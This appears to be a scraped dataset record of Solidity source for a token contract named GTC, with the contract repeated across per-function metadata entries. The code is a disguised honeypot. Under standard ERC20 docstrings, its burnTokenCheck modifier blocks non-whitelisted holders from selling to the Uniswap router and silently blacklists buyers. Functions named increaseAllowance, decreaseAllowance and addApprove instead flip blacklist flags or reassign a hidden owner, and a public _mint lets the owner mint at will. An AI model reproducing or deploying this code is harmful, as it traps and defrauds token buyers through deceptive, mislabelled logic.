function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/ | NatSpecMultiLine | transferFrom | function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
| /**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1b4bb1c70dca508bdab845cdf895498b32a3d14f1c52e308878b4ffa66bd95a1 | {
"func_code_index": [
4712,
5042
]
} | 8,894 |
GTC | GTC.sol | 0x922d24925acb720c381df7d90873543ea3cbdb4a | Solidity | GTC | contract GTC is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/ | NatSpecMultiLine | increaseAllowance | function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
| /**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1b4bb1c70dca508bdab845cdf895498b32a3d14f1c52e308878b4ffa66bd95a1 | {
"func_code_index": [
5446,
5737
]
} | 8,895 |
GTC | GTC.sol | 0x922d24925acb720c381df7d90873543ea3cbdb4a | Solidity | GTC | contract GTC is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/ | NatSpecMultiLine | decreaseAllowance | function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
| /**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1b4bb1c70dca508bdab845cdf895498b32a3d14f1c52e308878b4ffa66bd95a1 | {
"func_code_index": [
6235,
6383
]
} | 8,896 |
GTC | GTC.sol | 0x922d24925acb720c381df7d90873543ea3cbdb4a | Solidity | GTC | contract GTC is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
